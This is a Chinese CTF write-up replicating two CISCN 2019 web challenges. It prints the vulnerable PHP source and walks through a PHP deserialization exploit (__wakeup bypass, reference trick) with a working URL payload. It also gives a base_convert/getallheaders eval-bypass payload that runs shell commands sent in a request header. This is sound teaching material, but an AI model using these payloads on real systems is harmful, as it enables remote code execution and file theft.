0x00前言

这几天从网上找个CMS源码开始练习审计,盯着众多的代码debug调呀调头晕脑胀的,还不错找到个文件读取和一个ssrf...

上月底结束的CISCN线上赛,web四道,仔细研究的2道,做出了一道,刚好比赛时顺手把源码弄了下来,结合赛后师傅们的writeup复现一下这两道

0x01JustSoSo

有3个文件,index.php和hint.php可以通过文件filter来读取,而flag.php需要利用反序列化来读取

index.php

<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
} ?>

hint.php

<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
} class Flag{
public $file;
public $token;
public $token_flag; function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
} public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

入口在index.php中的

$payload = unserialize($payload);

这一行代码,通过GET传入,因为不能直接读flag,所以file中不能包含flag字段,但是payload中的waf可以绕过

整个利用要绕过3个点

1、利用http:/127.0.0.1///file=hint&payload=flag中的///来绕过payload中对$_SERVER['REQUEST_URI']的检验

参考文章:http://www.am0s.com/functions/406.html

2.利用反序列化被__wakeup()时,如果序列化字符串包含的成员数和实际数不想合导致__wakeup()不被执行的绕过

3.利用R来绕过md5随机生成的检验

为什么可以这么绕过,可以参考这篇文章http://www.neatstudio.com/show-161-1.shtml,简单介绍了下R是什么参数

文章中提到了R是指针引用,这里就详细插叙描述下使用方法

插入

<?php
class siji{
public $int;
public $str;
public $str_tmp;
public $int_tmp;
public $md5;
public $md5_tmp;
} $clzz = new siji();
$clzz->int = 1;
$clzz->str = "hello";
$clzz->md5 = md5(rand(1,10000));
$clzz->int_tmp = &$clzz->int;
$clzz->str_tmp = &$clzz->str;
$clzz->md5_tmp = &$clzz->md5; echo serialize($clzz);
//O:4:"siji":6:{s:3:"int";i:1;s:3:"str";s:5:"hello";s:7:"str_tmp";R:3;s:7:"int_tmp";R:2;s:3:"md5";s:32:"17d8da815fa21c57af9829fb0a869602";s:7:"md5_tmp";R:4;}

可以看到如果使用引用那么题目中的R是4位的,根据引用目标的值不同R:num,这个num是不同的

<?php
class siji{
public $int;
public $str;
public $str_tmp;
public $int_tmp;
public $md5;
public $md5_tmp;
} $clzz = new siji();
$clzz->int = 1;
$clzz->str = "hello";
$clzz->md5 = md5(rand(1,10000));
$clzz->int_tmp = &$clzz->int;
$clzz->str_tmp = &$clzz->str;
$clzz->md5_tmp = &$clzz->md5; $ser = serialize($clzz);
echo $ser . "<br>";
//O:4:"siji":6:{s:3:"int";i:1;s:3:"str";s:5:"hello";s:7:"str_tmp";R:3;s:7:"int_tmp";R:2;s:3:"md5";s:32:"17d8da815fa21c57af9829fb0a869602";s:7:"md5_tmp";R:4;} $clzz2 = unserialize($ser);
echo "<hr>";
echo "md5 is:" . $clzz2->md5 . ",md5_tmp is:" . $clzz2->md5_tmp . "<br>";
//md5 is:3cef96dcc9b8035d23f69e30bb19218a,md5_tmp is:3cef96dcc9b8035d23f69e30bb19218a
$clzz2->md5 = md5(rand(1,10000));
echo "md5 is:" . $clzz2->md5 . ",md5_tmp is:" . $clzz2->md5_tmp . "<br>";
//md5 is:52bdba949576e6bcec5682a4993bfb58,md5_tmp is:52bdba949576e6bcec5682a4993bfb58

那么在反序列化后对md5成员进行改变,md5_tmp成员会跟着一起改变,毕竟他是指向md5的值的

插入结束

生成payload的payload.php

<?php
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
} class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
//$this->token_flag = $this->token = md5(rand(1,10000));
}
}
$class1 = new Flag("flag.php");
$class2 = new Handle($class1);
$tmp1 = serialize($class2);
echo $tmp1 ."<hr>";
$tmp2 = str_replace(":1:",":2:", $tmp1);
$tmp3 = str_replace("token_flag\";N;","token_flag\";R:4;",$tmp2);
echo $tmp3 ."<hr>";
echo urlencode($tmp3);
?>

能够直接读取到flag.php文件了,最终payload如下(我这里本地测试的,flag.php文件自己随手写的)

http://127.0.0.1///cc/index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

吐槽下比赛的时候真的真的没有想到第三点的绕过,写了python脚本爆破md5,在本地能够十分钟左右跑出来,挂在比赛服务器上就被知道创于的waf给拦截了,因为跑的太快。最后没发送一次sleep 1秒,2台电脑跑了1个小时,终于撞出来了,费力不讨好的非预期解法2333

0x02love_math

先直接上源码,目的是读取flag.php文件

 <html>
<meta charset="utf-8">
</html>
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
} //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
} eval('echo '.$content.';');
}

看懂waf的原理,大致要求是这样的

1.payload长度不能超过80

2.payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 这些字符

3.payload中不能有不是$whitelist白名单里面的单词出现,比如

abs(1)能过

1abs()能过

absa()不能过

abs(a)不能过

abs()a不能过

最先我想的是用拼接裁剪的方式把payload组合出来,我极限组合在77字符能把phpinfo给组合出来,但是getflag,怎么也会超长度

$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()

然后考虑是不是touch个文件,进行把命令拆分写入文件,再执行文件,但是失败了

最后看了writeup发现在众多函数中有个base_convert()函数,这个才是解题的关键

先看看函数的用法https://www.runoob.com/php/func-math-base-convert.html

在看这道题writeup之前,我的认知还停留在16进制会带个abcdef,殊不知还可以到36进制,可以带所有小写字母

有了这个函数就能大大减短payload了

如果直接使用读取文件函数file_get_contents中包含下划线不在我们36进制中,并且base_convert第一个参数太长会溢出,也就是10进制数没法无限大

最后的方法是借助getallheader()来控制请求头,通过请求头的字段读取flag.php

这里也就类似于$_GET,$_POST之类的,但是因为只能控制小写字符,所以大写的直接被pass掉

getallheader()返回的是数组,要从数组里面取数据用array['xxx'],但是无奈[]被waf了,因为{}中是可以带数字的,这里用getallheader(){1}可以返回自定义头1里面的内容

这里因为php版本问题,我windows下php7.0前的所有版本对于getallheader进行30-36的进制转换,再转换回来的时候都存在溢出,也就是无法把10进制数变回getallheader

最终再linux下使用的php7.3版本能够在10进制与30进制之间转换

最后的payload如下

$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1})

操作xx和yy,中间用逗号隔开,echo都能输出

echo xx,yy

并且在请求头上加上1:cat flag.php字段即可

0xff结语

当成游戏玩CTF很有趣啊,但是要去挣个名次什么的还是很有压力,多亏了神仙队友才得以晋级orz。

这两道题的源码在复现的过程中全部有给出,有兴趣的同学也可以copy下自己搭波环境

2019CISCN web题赛-JustSoSo;love_math(复现)的更多相关文章

  1. X-NUCA 2017 web专题赛训练题 阳光总在风雨后和default wp

     0X0.前言 X-NUCA 2017来了,想起2016 web专题赛,题目都打不开,希望这次主办方能够搞好点吧!还没开赛,依照惯例会有赛前指导,放一些训练题让CTFer们好感受一下题目. 题目有一大 ...

  2. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  3. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  4. 实验吧web题:

    实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...

  5. i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  6. 关于第一场HBCTF的Web题小分享,当作自身的笔记

    昨天晚上6点开始的HBCTF,虽然是针对小白的,但有些题目确实不简单. 昨天女朋友又让我帮她装DOTA2(女票是一个不怎么用电脑的),然后又有一个小白问我题目,我也很热情的告诉她了,哎,真耗不起. 言 ...

  7. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  8. DASCTF七月赛两道Web题复现

    Ezfileinclude(目录穿越) 拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw== t是时间,可以利 ...

  9. 2020极客大挑战Web题

    前言 wp是以前写的,整理一下发上来. 不是很全. 2020 极客大挑战 WEB 1.sha1碰撞 题目 图片: 思路 题目说,换一种请求方式.于是换成post.得到一给含有代码的图片 图片: 分析该 ...

随机推荐

  1. DNS解析过程--笔试答题版

    在运维笔试的时候,回答DNS解析的过程,不能写一大堆,一是不美观,二是浪费时间,应该怎么写呢?我觉得这样写比较好. 1.客户端:chche----hosts 2.DNS服务器:cache---递归-- ...

  2. springboot+springcloud微服务项目全套资料(笔记+源码+代码)

    最近好几天没有写博客了,由于时间的太忙了,项目要做.各种资格证要考试,实在没有时间写了,今天正好赶上有闲暇的一刻,应许多的爱好者的要求发一份微服务项目的资料,此资料十分完整,且是最新的.希望各位读者能 ...

  3. day30_8.9 操作系统与并发编程

    一.操作系统相关 1.手工操作 1946年第一台计算机诞生--20世纪50年代中期,计算机工作还在采用手工操作方式.此时还没有操作系统的概念. 这时候的计算机是由人为将穿孔的纸带装入输入机,控制台获取 ...

  4. JUnit 4 和 TestNG

    JUnit 4和TestNG都是Java中非常受欢迎的单元测试框架.两种框架在功能上看起来非常相似.哪一个更好?在Java项目中应该使用哪个单元测试框架? 下面表中概括了JUnit 4和TestNG之 ...

  5. java数组的N种打印方式

    int[] array = {1,2,3,4,5}; (1)传统的for循环方式 ;i<array.length;i++) { System.out.println(a[i]); } (2)fo ...

  6. navicat密码错误的问题

    上集说到我的navicat打不开对吧..‘ 这下就来聊聊打开了的问题 下午非常开心,就打开了mysql的图形化界面, 但是,在我连接数据库的时候就报错了 错误就是密码错误那行 什么什么‘localho ...

  7. STL——sort函数的实现原理

    实现原理 sort结合了快速排序.堆排序.直接插入排序三种排序方法. 根据不同的数量级别以及不同情况,能自动选用合适的排序方法.当数据量较大时采用快速排序,分段递归.一旦分段后的数据量小于某个阀值,为 ...

  8. js数组检测

    数组检测 检测constructor v.constructor === Array 缺点: let arr = [] console.log(arr.constructor === Array); ...

  9. Ensight——Fluent重叠网格解决方案【翻译】

    原文链接:https://support.ceisoftware.com/hc/en-us/articles/360000664191-Overset-Grid-Solutions-from-Flue ...

  10. 推荐一款移动端日历App吉日历

    推荐一款移动端日历App吉日历 一 应用描述 万年历.日历.农历.黄历.假期安排.天气预报.记事提醒便捷查看,一目了然! 二 功能介绍: 1.万年历:精美的日期展示,完整的节日日历随意查看,节假日.休 ...